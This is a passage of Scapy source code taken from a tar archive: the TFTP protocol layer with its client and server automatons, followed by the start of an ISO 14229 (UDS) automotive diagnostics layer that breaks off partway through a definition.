%r" % (r[SNMPvarbind].oid.val,r[SNMPvarbind].value)) oid = r[SNMPvarbind].oid except KeyboardInterrupt: pass scapy-0.23/scapy/layers/tftp.py000066400000000000000000000346171320561231000165260ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ TFTP (Trivial File Transfer Protocol). """ import os,random from scapy.packet import * from scapy.fields import * from scapy.automaton import * from scapy.layers.inet import UDP TFTP_operations = { 1:"RRQ",2:"WRQ",3:"DATA",4:"ACK",5:"ERROR",6:"OACK" } class TFTP(Packet): name = "TFTP opcode" fields_desc = [ ShortEnumField("op", 1, TFTP_operations), ] class TFTP_RRQ(Packet): name = "TFTP Read Request" fields_desc = [ StrNullField("filename", ""), StrNullField("mode", "octet") ] def answers(self, other): return 0 def mysummary(self): return self.sprintf("RRQ %filename%"),[UDP] class TFTP_WRQ(Packet): name = "TFTP Write Request" fields_desc = [ StrNullField("filename", ""), StrNullField("mode", "octet") ] def answers(self, other): return 0 def mysummary(self): return self.sprintf("WRQ %filename%"),[UDP] class TFTP_DATA(Packet): name = "TFTP Data" fields_desc = [ ShortField("block", 0) ] def answers(self, other): return self.block == 1 and isinstance(other, TFTP_RRQ) def mysummary(self): return self.sprintf("DATA %block%"),[UDP] class TFTP_Option(Packet): fields_desc = [ StrNullField("oname",""), StrNullField("value","") ] def extract_padding(self, pkt): return "",pkt class TFTP_Options(Packet): fields_desc = [ PacketListField("options", [], TFTP_Option, length_from=lambda x:None) ] class TFTP_ACK(Packet): name = "TFTP Ack" fields_desc = [ ShortField("block", 0) ] def answers(self, other): if isinstance(other, TFTP_DATA): return self.block == other.block elif isinstance(other, TFTP_RRQ) or isinstance(other, TFTP_WRQ) or isinstance(other, TFTP_OACK): return self.block == 0 return 0 def mysummary(self): return self.sprintf("ACK %block%"),[UDP] TFTP_Error_Codes = { 0: "Not defined", 1: "File not found", 2: "Access violation", 3: "Disk full or allocation exceeded", 4: "Illegal TFTP operation", 5: "Unknown transfer ID", 6: "File already exists", 7: "No such user", 8: "Terminate transfer due to option negotiation", } class TFTP_ERROR(Packet): name = "TFTP Error" fields_desc = [ ShortEnumField("errorcode", 0, TFTP_Error_Codes), StrNullField("errormsg", "")] def answers(self, other): return (isinstance(other, TFTP_DATA) or isinstance(other, TFTP_RRQ) or isinstance(other, TFTP_WRQ) or isinstance(other, TFTP_ACK)) def mysummary(self): return self.sprintf("ERROR %errorcode%: %errormsg%"),[UDP] class TFTP_OACK(Packet): name = "TFTP Option Ack" fields_desc = [ ] def answers(self, other): return isinstance(other, TFTP_WRQ) or isinstance(other, TFTP_RRQ) bind_layers(UDP, TFTP, dport=69) bind_layers(TFTP, TFTP_RRQ, op=1) bind_layers(TFTP, TFTP_WRQ, op=2) bind_layers(TFTP, TFTP_DATA, op=3) bind_layers(TFTP, TFTP_ACK, op=4) bind_layers(TFTP, TFTP_ERROR, op=5) bind_layers(TFTP, TFTP_OACK, op=6) bind_layers(TFTP_RRQ, TFTP_Options) bind_layers(TFTP_WRQ, TFTP_Options) bind_layers(TFTP_OACK, TFTP_Options) class TFTP_read(Automaton): def parse_args(self, filename, server, sport = None, port=69, **kargs): Automaton.parse_args(self, **kargs) self.filename = filename self.server = server self.port = port self.sport = sport def master_filter(self, pkt): return ( IP in pkt and pkt[IP].src == self.server and UDP in pkt and pkt[UDP].dport == self.my_tid and (self.server_tid is None or pkt[UDP].sport == self.server_tid) ) # BEGIN @ATMT.state(initial=1) def BEGIN(self): self.blocksize=512 self.my_tid = self.sport or RandShort()._fix() bind_bottom_up(UDP, TFTP, dport=self.my_tid) self.server_tid = None self.res = "" self.l3 = IP(dst=self.server)/UDP(sport=self.my_tid, dport=self.port)/TFTP() self.last_packet = self.l3/TFTP_RRQ(filename=self.filename, mode="octet") self.send(self.last_packet) self.awaiting=1 raise self.WAITING() # WAITING @ATMT.state() def WAITING(self): pass @ATMT.receive_condition(WAITING) def receive_data(self, pkt): if TFTP_DATA in pkt and pkt[TFTP_DATA].block == self.awaiting: if self.server_tid is None: self.server_tid = pkt[UDP].sport self.l3[UDP].dport = self.server_tid raise self.RECEIVING(pkt) @ATMT.receive_condition(WAITING, prio=1) def receive_error(self, pkt): if TFTP_ERROR in pkt: raise self.ERROR(pkt) @ATMT.timeout(WAITING, 3) def timeout_waiting(self): raise self.WAITING() @ATMT.action(timeout_waiting) def retransmit_last_packet(self): self.send(self.last_packet) @ATMT.action(receive_data) # @ATMT.action(receive_error) def send_ack(self): self.last_packet = self.l3 / TFTP_ACK(block = self.awaiting) self.send(self.last_packet) # RECEIVED @ATMT.state() def RECEIVING(self, pkt): if conf.raw_layer in pkt: recvd = pkt[conf.raw_layer].load else: recvd = "" self.res += recvd self.awaiting += 1 if len(recvd) == self.blocksize: raise self.WAITING() raise self.END() # ERROR @ATMT.state(error=1) def ERROR(self,pkt): split_bottom_up(UDP, TFTP, dport=self.my_tid) return pkt[TFTP_ERROR].summary() #END @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) return self.res class TFTP_write(Automaton): def parse_args(self, filename, data, server, sport=None, port=69,**kargs): Automaton.parse_args(self, **kargs) self.filename = filename self.server = server self.port = port self.sport = sport self.blocksize = 512 self.origdata = data def master_filter(self, pkt): return ( IP in pkt and pkt[IP].src == self.server and UDP in pkt and pkt[UDP].dport == self.my_tid and (self.server_tid is None or pkt[UDP].sport == self.server_tid) ) # BEGIN @ATMT.state(initial=1) def BEGIN(self): self.data = [ self.origdata[i*self.blocksize:(i+1)*self.blocksize] for i in range( len(self.origdata)/self.blocksize+1) ] self.my_tid = self.sport or RandShort()._fix() bind_bottom_up(UDP, TFTP, dport=self.my_tid) self.server_tid = None self.l3 = IP(dst=self.server)/UDP(sport=self.my_tid, dport=self.port)/TFTP() self.last_packet = self.l3/TFTP_WRQ(filename=self.filename, mode="octet") self.send(self.last_packet) self.res = "" self.awaiting=0 raise self.WAITING_ACK() # WAITING_ACK @ATMT.state() def WAITING_ACK(self): pass @ATMT.receive_condition(WAITING_ACK) def received_ack(self,pkt): if TFTP_ACK in pkt and pkt[TFTP_ACK].block == self.awaiting: if self.server_tid is None: self.server_tid = pkt[UDP].sport self.l3[UDP].dport = self.server_tid raise self.SEND_DATA() @ATMT.receive_condition(WAITING_ACK) def received_error(self, pkt): if TFTP_ERROR in pkt: raise self.ERROR(pkt) @ATMT.timeout(WAITING_ACK, 3) def timeout_waiting(self): raise self.WAITING_ACK() @ATMT.action(timeout_waiting) def retransmit_last_packet(self): self.send(self.last_packet) # SEND_DATA @ATMT.state() def SEND_DATA(self): self.awaiting += 1 self.last_packet = self.l3/TFTP_DATA(block=self.awaiting)/self.data.pop(0) self.send(self.last_packet) if self.data: raise self.WAITING_ACK() raise self.END() # ERROR @ATMT.state(error=1) def ERROR(self,pkt): split_bottom_up(UDP, TFTP, dport=self.my_tid) return pkt[TFTP_ERROR].summary() # END @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) class TFTP_WRQ_server(Automaton): def parse_args(self, ip=None, sport=None, *args, **kargs): Automaton.parse_args(self, *args, **kargs) self.ip = ip self.sport = sport def master_filter(self, pkt): return TFTP in pkt and (not self.ip or pkt[IP].dst == self.ip) @ATMT.state(initial=1) def BEGIN(self): self.blksize=512 self.blk=1 self.filedata="" self.my_tid = self.sport or random.randint(10000,65500) bind_bottom_up(UDP, TFTP, dport=self.my_tid) @ATMT.receive_condition(BEGIN) def receive_WRQ(self,pkt): if TFTP_WRQ in pkt: raise self.WAIT_DATA().action_parameters(pkt) @ATMT.action(receive_WRQ) def ack_WRQ(self, pkt): ip = pkt[IP] self.ip = ip.dst self.dst = ip.src self.filename = pkt[TFTP_WRQ].filename options = pkt[TFTP_Options] self.l3 = IP(src=ip.dst, dst=ip.src)/UDP(sport=self.my_tid, dport=pkt.sport)/TFTP() if options is None: self.last_packet = self.l3/TFTP_ACK(block=0) self.send(self.last_packet) else: opt = [x for x in options.options if x.oname.upper() == "BLKSIZE"] if opt: self.blksize = int(opt[0].value) self.debug(2,"Negotiated new blksize at %i" % self.blksize) self.last_packet = self.l3/TFTP_OACK()/TFTP_Options(options=opt) self.send(self.last_packet) @ATMT.state() def WAIT_DATA(self): pass @ATMT.timeout(WAIT_DATA, 1) def resend_ack(self): self.send(self.last_packet) raise self.WAIT_DATA() @ATMT.receive_condition(WAIT_DATA) def receive_data(self, pkt): if TFTP_DATA in pkt: data = pkt[TFTP_DATA] if data.block == self.blk: raise self.DATA(data) @ATMT.action(receive_data) def ack_data(self): self.last_packet = self.l3/TFTP_ACK(block = self.blk) self.send(self.last_packet) @ATMT.state() def DATA(self, data): self.filedata += data.load if len(data.load) < self.blksize: raise self.END() self.blk += 1 raise self.WAIT_DATA() @ATMT.state(final=1) def END(self): return self.filename,self.filedata split_bottom_up(UDP, TFTP, dport=self.my_tid) class TFTP_RRQ_server(Automaton): def parse_args(self, store=None, joker=None, dir=None, ip=None, sport=None, serve_one=False, **kargs): Automaton.parse_args(self,**kargs) if store is None: store = {} if dir is not None: self.dir = os.path.join(os.path.abspath(dir),"") else: self.dir = None self.store = store self.joker = joker self.ip = ip self.sport = sport self.serve_one = serve_one self.my_tid = self.sport or random.randint(10000,65500) bind_bottom_up(UDP, TFTP, dport=self.my_tid) def master_filter(self, pkt): return TFTP in pkt and (not self.ip or pkt[IP].dst == self.ip) @ATMT.state(initial=1) def WAIT_RRQ(self): self.blksize=512 self.blk=0 @ATMT.receive_condition(WAIT_RRQ) def receive_rrq(self, pkt): if TFTP_RRQ in pkt: raise self.RECEIVED_RRQ(pkt) @ATMT.state() def RECEIVED_RRQ(self, pkt): ip = pkt[IP] options = pkt[TFTP_Options] self.l3 = IP(src=ip.dst, dst=ip.src)/UDP(sport=self.my_tid, dport=ip.sport)/TFTP() self.filename = pkt[TFTP_RRQ].filename self.blk=1 self.data = None if self.filename in self.store: self.data = self.store[self.filename] elif self.dir is not None: fn = os.path.abspath(os.path.join(self.dir, self.filename)) if fn.startswith(self.dir): # Check we're still in the server's directory try: self.data=open(fn).read() except IOError: pass if self.data is None: self.data = self.joker if options: opt = [x for x in options.options if x.oname.upper() == "BLKSIZE"] if opt: self.blksize = int(opt[0].value) self.debug(2,"Negotiated new blksize at %i" % self.blksize) self.last_packet = self.l3/TFTP_OACK()/TFTP_Options(options=opt) self.send(self.last_packet) @ATMT.condition(RECEIVED_RRQ) def file_in_store(self): if self.data is not None: self.blknb = len(self.data)/self.blksize+1 raise self.SEND_FILE() @ATMT.condition(RECEIVED_RRQ) def file_not_found(self): if self.data is None: raise self.WAIT_RRQ() @ATMT.action(file_not_found) def send_error(self): self.send(self.l3/TFTP_ERROR(errorcode=1, errormsg=TFTP_Error_Codes[1])) @ATMT.state() def SEND_FILE(self): self.send(self.l3/TFTP_DATA(block=self.blk)/self.data[(self.blk-1)*self.blksize:self.blk*self.blksize]) @ATMT.timeout(SEND_FILE, 3) def timeout_waiting_ack(self): raise self.SEND_FILE() @ATMT.receive_condition(SEND_FILE) def received_ack(self, pkt): if TFTP_ACK in pkt and pkt[TFTP_ACK].block == self.blk: raise self.RECEIVED_ACK() @ATMT.state() def RECEIVED_ACK(self): self.blk += 1 @ATMT.condition(RECEIVED_ACK) def no_more_data(self): if self.blk > self.blknb: if self.serve_one: raise self.END() raise self.WAIT_RRQ() @ATMT.condition(RECEIVED_ACK, prio=2) def data_remaining(self): raise self.SEND_FILE() @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) scapy-0.23/scapy/layers/uds.py000066400000000000000000000750421320561231000163410ustar00rootroot00000000000000#! /usr/bin/env python ## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Nils Weiss ## This program is published under a GPLv2 license from scapy.fields import * from scapy.packet import * """ Helper class to specify the protocol extendable for runtime imports of brand specific modifications or additions """ class ObservableDict(dict): def __init__(self, *args, **kw): self.observers = [] super(ObservableDict, self).__init__(*args, **kw) def observe(self, observer): self.observers.append(observer) def __setitem__(self, key, value): for o in self.observers: o.notify(self, key, value) super(ObservableDict, self).__setitem__(key, value) def update(self, anotherDict): for k in anotherDict: self[k] = anotherDict[k] """ Custom Field definitions """ class XByteUpdateableEnumField(ByteEnumField): def __init__(self, name, default, enum): if type(enum) is ObservableDict: enum.observe(self) EnumField.__init__(self, name, default, enum, "B") def notify(self, enum, key, new): if conf.verb is True: print("At %s: Change to %s at 0x%x" % (self, new, key)) EnumField.__init__(self, self.name, self.default, enum, "B") def i2repr_one(self, pkt, x): if self not in conf.noenum and not isinstance(x, VolatileValue) and x in self.i2s: return self.i2s[x] return lhex(x) class XShortUpdateableEnumField(XShortEnumField): def __init__(self, name, default, enum): if type(enum) is ObservableDict: enum.observe(self) EnumField.__init__(self, name, default, enum, "H") def notify(self, enum, key, new): if conf.verb is True: print("At %s: Change to %s at 0x%x" % (self, new, key)) EnumField.__init__(self, self.name, self.default, enum, "H") """ ISO14229 """ from scapy.all import * class ISO14229(Packet): services = ObservableDict( {0x10: 'DiagnosticSessionControl', 0x50: 'DiagnosticSessionControlPositiveResponse', 0x11: 'ECUReset', 0x51: 'ECUResetPositiveResponse', 0x27: 'SecurityAccess', 0x67: 'SecurityAccessPositiveResponse', 0x28: 'CommunicationControl', 0x68: 'CommunicationControlPositiveResponse', 0x3E: 'TesterPresent', 0x7E: 'TesterPresentPositiveResponse', 0x83: 'AccessTimingParameter', 0xC3: 'AccessTimingParameterPositiveResponse', 0x84: 'SecuredDataTransmission', 0xC4: 'SecuredDataTransmissionPositiveResponse', 0x85: 'ControlDTCSetting', 0xC5: 'ControlDTCSettingPositiveResponse', 0x86: 'ResponseOnEvent', 0xC6: 'ResponseOnEventPositiveResponse', 0x87: 'LinkControl', 0xC7: 'LinkControlPositiveResponse', 0x22: 'ReadDataByIdentifier', 0x62: 'ReadDataByIdentifierPositiveResponse', 0x23: 'ReadMemoryByAddress', 0x63: 'ReadMemoryByAddressPositiveResponse', 0x24: 'ReadScalingDataByIdentifier', 0x64: 'ReadScalingDataByIdentifierPositiveResponse', 0x2A: 'ReadDataPeriodicIdentifier', 0x6A: 'ReadDataPeriodicIdentifierPositiveResponse', 0x2C: 'DynamicallyDefineDataIdentifier', 0x6C: 'DynamicallyDefineDataIdentifierPositiveResponse', 0x2E: 'WriteDataByIdentifier', 0x6E: 'WriteDataByIdentifierPositiveResponse', 0x3D: 'WriteMemoryByAddress', 0x7D: 'WriteMemoryByAddressPositiveResponse', 0x14: 'ClearDiagnosticInformation', 0x54: 'ClearDiagnosticInformationPositiveResponse', 0x19: 'ReadDTCInformation', 0x59: 'ReadDTCInformationPositiveResponse', 0x2F: 'InputOutputControlByIdentifier', 0x6F: 'InputOutputControlByIdentifierPositiveResponse', 0x31: 'RoutineControl', 0x71: 'RoutineControlPositiveResponse', 0x34: 'RequestDownload', 0x74: 'RequestDownloadPositiveResponse', 0x35: 'RequestUpload', 0x75: 'RequestUploadPositiveResponse', 0x36: 'TransferData', 0x76: 'TransferDataPositiveResponse', 0x37: 'RequestTransferExit', 0x77: 'RequestTransferExitPositiveResponse', 0x7f: 'NegativeResponse'}) name = 'ISO14229' fields_desc = [ XByteUpdateableEnumField('service', 0, services) ] def answers(self, other): """DEV: true if self is an answer from other""" if other.__class__ == self.__class__: return (other.service + 0x40) == self.service or \ (self.service == 0x7f and (self.requestServiceId == other.service)) return 0 def hashret(self): """DEV: returns a string that has the same value for a request and its answer.""" if 'PositiveResponse' in self.services[self.service]: return struct.pack('B', self.service - 0x40) elif self.service == 0x7f: return struct.pack('B', self.requestServiceId) else: return struct.pack('B', self.service) #########################DSC################################### class ISO14229_DSC(Packet): diagnosticSessionTypes = { 0x00: 'ISOSAEReserved', 0x01: 'defaultSession', 0x02: 'programmingSession', 0x03: 'extendedDiagnosticSession', 0x04: 'safetySystemDiagnosticSession', 0x7F: 'ISOSAEReserved'} name = 'DSC' fields_desc = [ ByteEnumField('diagnosticSessionType', 0, diagnosticSessionTypes) ] bind_layers(ISO14229, ISO14229_DSC, service=0x10) class ISO14229_DSCPR(Packet): name = 'DSCPR' fields_desc = [ ByteEnumField('diagnosticSessionType', 0, ISO14229_DSC.diagnosticSessionTypes), StrField('sessionParameterRecord', B"") ] bind_layers(ISO14229, ISO14229_DSCPR, service=0x50) #########################ER################################### class ISO14229_ER(Packet): resetTypes = { 0x00: 'ISOSAEReserved', 0x01: 'hardReset', 0x02: 'keyOffOnReset', 0x03: 'softReset', 0x04: 'enableRapidPowerShutDown', 0x05: 'disableRapidPowerShutDown', 0x7F: 'ISOSAEReserved'} name = 'ER' fields_desc = [ ByteEnumField('resetType', 0, resetTypes) ] bind_layers(ISO14229, ISO14229_ER, service=0x11) class ISO14229_ERPR(Packet): name = 'ERPR' fields_desc = [ ByteEnumField('resetType', 0, ISO14229_ER.resetTypes), ConditionalField(ByteField('powerDownTime', 0), lambda pkt: pkt.resetType == 0x04) ] bind_layers(ISO14229, ISO14229_ERPR, service=0x51) #########################SA################################### class ISO14229_SA(Packet): name = 'SA' fields_desc = [ ByteField('securityAccessType', 0), ConditionalField(StrField('securityAccessDataRecord', B""), lambda pkt: pkt.securityAccessType % 2 == 1), ConditionalField(StrField('securityKey', B""), lambda pkt: pkt.securityAccessType % 2 == 0) ] bind_layers(ISO14229, ISO14229_SA, service=0x27) class ISO14229_SAPR(Packet): name = 'SAPR' fields_desc = [ ByteField('securityAccessType', 0), ConditionalField(StrField('securitySeed', B""), lambda pkt: pkt.securityAccessType % 2 == 1), ] bind_layers(ISO14229, ISO14229_SAPR, service=0x67) #########################CC################################### class ISO14229_CC(Packet): controlTypes = { 0x00: 'enableRxAndTx', 0x01: 'enableRxAndDisableTx', 0x02: 'disableRxAndEnableTx', 0x03: 'disableRxAndTx' } name = 'CC' fields_desc = [ ByteEnumField('controlType', 0, controlTypes), BitEnumField('communicationType0', 0, 2, {0: 'ISOSAEReserved', 1: 'normalCommunicationMessages', 2: 'networkManagmentCommunicationMessages', 3: 'networkManagmentCommunicationMessages and normalCommunicationMessages'}), BitField('communicationType1', 0, 2), BitEnumField('communicationType2', 0, 4, {0: 'Disable/Enable specified communication Type', 1: 'Disable/Enable specific subnet', 2: 'Disable/Enable specific subnet', 3: 'Disable/Enable specific subnet', 4: 'Disable/Enable specific subnet', 5: 'Disable/Enable specific subnet', 6: 'Disable/Enable specific subnet', 7: 'Disable/Enable specific subnet', 8: 'Disable/Enable specific subnet', 9: 'Disable/Enable specific subnet', 10: 'Disable/Enable specific subnet', 11: 'Disable/Enable specific subnet', 12: 'Disable/Enable specific subnet', 13: 'Disable/Enable specific subnet', 14: 'Disable/Enable specific subnet', 15: 'Disable/Enable network'}) ] bind_layers(ISO14229, ISO14229_CC, service=0x28) class ISO14229_CCPR(Packet): name = 'CCPR' fields_desc = [ ByteEnumField('controlType', 0, ISO14229_CC.controlTypes) ] bind_layers(ISO14229, ISO14229_CCPR, service=0x68) #########################TP################################### class ISO14229_TP(Packet): name = 'TP' fields_desc = [ ByteField('subFunction', 0) ] bind_layers(ISO14229, ISO14229_TP, service=0x3E) class ISO14229_TPPR(Packet): name = 'TPPR' fields_desc = [ ByteField('zeroSubFunction', 0) ] bind_layers(ISO14229, ISO14229_TPPR, service=0x7E) #########################ATP################################### class ISO14229_ATP(Packet): timingParameterAccessTypes = { 0: 'ISOSAEReserved', 1: 'readExtendedTimingParameterSet', 2: 'setTimingParametersToDefaultValues', 3: 'readCurrentlyActiveTimingParameters', 4: 'setTimingParametersToGivenValues' } name = 'ATP' fields_desc = [ ByteEnumField('timingParameterAccessType', 0, timingParameterAccessTypes), ConditionalField(StrField('TimingParameterRequestRecord', B""), lambda pkt: pkt.timingParameterAccessType == 0x4) ] bind_layers(ISO14229, ISO14229_ATP, service=0x83) class ISO14229_ATPPR(Packet): name = 'ATPPR' fields_desc = [ ByteEnumField('timingParameterAccessType', 0, ISO14229_ATP.timingParameterAccessTypes), ConditionalField(StrField('TimingParameterResponseRecord', B""), lambda pkt: pkt.timingParameterAccessType == 0x3) ] bind_layers(ISO14229, ISO14229_ATPPR, service=0xC3) #########################SDT################################### class ISO14229_SDT(Packet): name = 'SDT' fields_desc = [ StrField('securityDataRequestRecord', B"") ] bind_layers(ISO14229, ISO14229_SDT, service=0x84) class ISO14229_SDTPR(Packet): name = 'SDTPR' fields_desc = [ StrField('securityDataResponseRecord', B"") ] bind_layers(ISO14229, ISO14229_SDT, service=0xC4) #########################CDTCS################################### class ISO14229_CDTCS(Packet): DTCSettingTypes = { 0: 'ISOSAEReserved', 1: 'on', 2: 'off' } name = 'CDTCS' fields_desc = [ ByteEnumField('DTCSettingType', 0, DTCSettingTypes), StrField('DTCSettingControlOptionRecord', B"") ] bind_layers(ISO14229, ISO14229_CDTCS, service=0x85) class ISO14229_CDTCSPR(Packet): name = 'CDTCSPR' fields_desc = [ ByteEnumField('DTCSettingType', 0, ISO14229_CDTCS.DTCSettingTypes) ] bind_layers(ISO14229, ISO14229_CDTCSPR, service=0xC5) #########################ROE################################### # TODO: improve this protocol implementation class ISO14229_ROE(Packet): eventTypes = { 0: 'doNotStoreEvent', 1: 'storeEvent' } name = 'ROE' fields_desc = [ ByteEnumField('eventType', 0, eventTypes), ByteField('eventWindowTime', 0), StrField('eventTypeRecord', B"") ] bind_layers(ISO14229, ISO14229_ROE, service=0x86) class ISO14229_ROEPR(Packet): name = 'ROEPR' fields_desc = [ ByteEnumField('eventType', 0, ISO14229_ROE.eventTypes), ByteField('numberOfIdentifiedEvents', 0), ByteField('eventWindowTime', 0), StrField('eventTypeRecord', B"") ] bind_layers(ISO14229, ISO14229_ROEPR, service=0xC6) #########################LC################################### class ISO14229_LC(Packet): linkControlTypes = { 0: 'ISOSAEReserved', 1: 'verifyBaudrateTransitionWithFixedBaudrate', 2: 'verifyBaudrateTransitionWithSpecificBaudrate', 3: 'transitionBaudrate' } name = 'LC' fields_desc = [ ByteEnumField('linkControlType', 0, linkControlTypes), ConditionalField(ByteField('baudrateIdentifier', 0), lambda pkt: pkt.linkControlType == 0x1), ConditionalField(ByteField('baudrateHighByte', 0), lambda pkt: pkt.linkControlType == 0x2), ConditionalField(ByteField('baudrateMiddleByte', 0), lambda pkt: pkt.linkControlType == 0x2), ConditionalField(ByteField('baudrateLowByte', 0), lambda pkt: pkt.linkControlType == 0x2) ] bind_layers(ISO14229, ISO14229_LC, service=0x87) class ISO14229_LCPR(Packet): name = 'LCPR' fields_desc = [ ByteEnumField('linkControlType', 0, ISO14229_LC.linkControlTypes) ] bind_layers(ISO14229, ISO14229_LCPR, service=0xC7) #########################RDBI################################### # TODO: Multiple dataIdentifier in one packet are not supported yet. class ISO14229_RDBI(Packet): dataIdentifiers = ObservableDict() name = 'RDBI' fields_desc = [ XShortUpdateableEnumField('dataIdentifier', 0, dataIdentifiers) ] bind_layers(ISO14229, ISO14229_RDBI, service=0x22) class ISO14229_RDBIPR(Packet): name = 'RDBIPR' fields_desc = [ XShortUpdateableEnumField('dataIdentifier', 0, ISO14229_RDBI.dataIdentifiers), ] bind_layers(ISO14229, ISO14229_RDBIPR, service=0x62) #########################RMBA################################### class ISO14229_RMBA(Packet): name = 'RMBA' fields_desc = [ BitField('memorySizeLen', 0, 4), BitField('memoryAddressLen', 0, 4), ConditionalField(XByteField('memoryAddress1', 0), lambda pkt: pkt.memoryAddressLen == 1), ConditionalField(XShortField('memoryAddress2', 0), lambda pkt: pkt.memoryAddressLen == 2), ConditionalField(X3BytesField('memoryAddress3', 0), lambda pkt: pkt.memoryAddressLen == 3), ConditionalField(XIntField('memoryAddress4', 0), lambda pkt: pkt.memoryAddressLen == 4), ConditionalField(XByteField('memorySize1', 0), lambda pkt: pkt.memorySizeLen == 1), ConditionalField(XShortField('memorySize2', 0), lambda pkt: pkt.memorySizeLen == 2), ConditionalField(X3BytesField('memorySize3', 0), lambda pkt: pkt.memorySizeLen == 3), ConditionalField(XIntField('memorySize4', 0), lambda pkt: pkt.memorySizeLen == 4), ] bind_layers(ISO14229, ISO14229_RMBA, service=0x23) class ISO14229_RMBAPR(Packet): name = 'RMBAPR' fields_desc = [ StrField('dataRecord', None, fmt="B") ] bind_layers(ISO14229, ISO14229_RMBAPR, service=0x63) #########################RSDBI################################### class ISO14229_RSDBI(Packet): name = 'RSDBI' fields_desc = [ XShortField('dataIdentifier', 0) ] bind_layers(ISO14229, ISO14229_RSDBI, service=0x24) # TODO: Implement correct scaling here, instead of using just the dataRecord class ISO14229_RSDBIPR(Packet): name = 'RSDBIPR' fields_desc = [ XShortField('dataIdentifier', 0), ByteField('scalingByte', 0), StrField('dataRecord', None, fmt="B") ] bind_layers(ISO14229, ISO14229_RSDBIPR, service=0x64) #########################RDBPI################################### class ISO14229_RDBPI(Packet): transmissionModes = { 0: 'ISOSAEReserved', 1: 'sendAtSlowRate', 2: 'sendAtMediumRate', 3: 'sendAtFastRate', 4: 'stopSending' } name = 'RDBPI' fields_desc = [ ByteEnumField('transmissionMode', 0, transmissionModes), ByteField('periodicDataIdentifier', 0), StrField('furtherPeriodicDataIdentifier', 0, fmt="B") ] bind_layers(ISO14229, ISO14229_RDBPI, service=0x2A) # TODO: Implement correct scaling here, instead of using just the dataRecord class ISO14229_RDBPIPR(Packet): name = 'RDBPIPR' fields_desc = [ ByteField('periodicDataIdentifier', 0), StrField('dataRecord', None, fmt="B") ] bind_layers(ISO14229, ISO14229_RDBPIPR, service=0x6A) #########################DDDI################################### # TODO: Implement correct interpretation here, instead of using just the dataRecord class ISO14229_DDDI(Packet): name = 'DDDI' fields_desc = [ ByteField('definitionMode', 0), StrField('dataRecord', 0, fmt="B") ] bind_layers(ISO14229, ISO14229_DDDI, service=0x2C) class ISO14229_DDDIPR(Packet): name = 'DDDIPR' fields_desc = [ ByteField('definitionMode', 0), XShortField('dynamicallyDefinedDataIdentifier', 0) ] bind_layers(ISO14229, ISO14229_DDDIPR, service=0x6C) #########################WDBI################################### class ISO14229_WDBI(Packet): name = 'WDBI' fields_desc = [ XShortUpdateableEnumField('dataIdentifier', 0, ISO14229_RDBI.dataIdentifiers), StrField('dataRecord', 0, fmt="B") ] bind_layers(ISO14229, ISO14229_WDBI, service=0x2E) class ISO14229_WDBIPR(Packet): name = 'WDBIPR' fields_desc = [ XShortUpdateableEnumField('dataIdentifier', 0, ISO14229_RDBI.dataIdentifiers), ] bind_layers(ISO14229, ISO14229_WDBIPR, service=0x6E) #########################WMBA################################### class ISO14229_WMBA(Packet): name = 'WMBA' fields_desc = [ BitField('memorySizeLen', 0, 4), BitField('memoryAddressLen', 0, 4), ConditionalField(XByteField('memoryAddress1', 0), lambda pkt: pkt.memoryAddressLen == 1), ConditionalField(XShortField('memoryAddress2', 0), lambda pkt: pkt.memoryAddressLen == 2), ConditionalField(X3BytesField('memoryAddress3', 0), lambda pkt: pkt.memoryAddressLen == 3), ConditionalField(XIntField('memoryAddress4', 0), lambda pkt: pkt.memoryAddressLen == 4), ConditionalField(XByteField('memorySize1', 0), lambda pkt: pkt.memorySizeLen == 1), ConditionalField(XShortField('memorySize2', 0), lambda pkt: pkt.memorySizeLen == 2), ConditionalField(X3BytesField('memorySize3', 0), lambda pkt: pkt.memorySizeLen == 3), ConditionalField(XIntField('memorySize4', 0), lambda pkt: pkt.memorySizeLen == 4), StrField('dataRecord', b'\x00', fmt="B"), ] bind_layers(ISO14229, ISO14229_WMBA, service=0x3D) class ISO14229_WMBAPR(Packet): name = 'WMBAPR' fields_desc = [ BitField('memorySizeLen', 0, 4), BitField('memoryAddressLen', 0, 4), ConditionalField(XByteField('memoryAddress1', 0), lambda pkt: pkt.memoryAddressLen == 1), ConditionalField(XShortField('memoryAddress2', 0), lambda pkt: pkt.memoryAddressLen == 2), ConditionalField(X3BytesField('memoryAddress3', 0), lambda pkt: pkt.memoryAddressLen == 3), ConditionalField(XIntField('memoryAddress4', 0), lambda pkt: pkt.memoryAddressLen == 4), ConditionalField(XByteField('memorySize1', 0), lambda pkt: pkt.memorySizeLen == 1), ConditionalField(XShortField('memorySize2', 0), lambda pkt: pkt.memorySizeLen == 2), ConditionalField(X3BytesField('memorySize3', 0), lambda pkt: pkt.memorySizeLen == 3), ConditionalField(XIntField('memorySize4', 0), lambda pkt: pkt.memorySizeLen == 4) ] bind_layers(ISO14229, ISO14229_WMBAPR, service=0x7D) #########################CDTCI################################### class ISO14229_CDTCI(Packet): name = 'CDTCI' fields_desc = [ ByteField('groupOfDTCHighByte', 0), ByteField('groupOfDTCMiddleByte', 0), ByteField('groupOfDTCLowByte', 0), ] bind_layers(ISO14229, ISO14229_CDTCI, service=0x14) #########################RDTCI################################### class ISO14229_RDTCI(Packet): reportTypes = { 0: 'ISOSAEReserved', 1: 'reportNumberOfDTCByStatusMask', 2: 'reportDTCByStatusMask', 3: 'reportDTCSnapshotIdentification', 4: 'reportDTCSnapshotRecordByDTCNumber', 5: 'reportDTCSnapshotRecordByRecordNumber', 6: 'reportDTCExtendedDataRecordByDTCNumber', 7: 'reportNumberOfDTCBySeverityMaskRecord', 8: 'reportDTCBySeverityMaskRecord', 9: 'reportSeverityInformationOfDTC', 10: 'reportSupportedDTC', 11: 'reportFirstTestFailedDTC', 12: 'reportFirstConfirmedDTC', 13: 'reportMostRecentTestFailedDTC', 14: 'reportMostRecentConfirmedDTC', 15: 'reportMirrorMemoryDTCByStatusMask', 16: 'reportMirrorMemoryDTCExtendedDataRecordByDTCNumber', 17: 'reportNumberOfMirrorMemoryDTCByStatusMask', 18: 'reportNumberOfEmissionsRelatedOBDDTCByStatusMask', 19: 'reportEmissionsRelatedOBDDTCByStatusMask', 20: 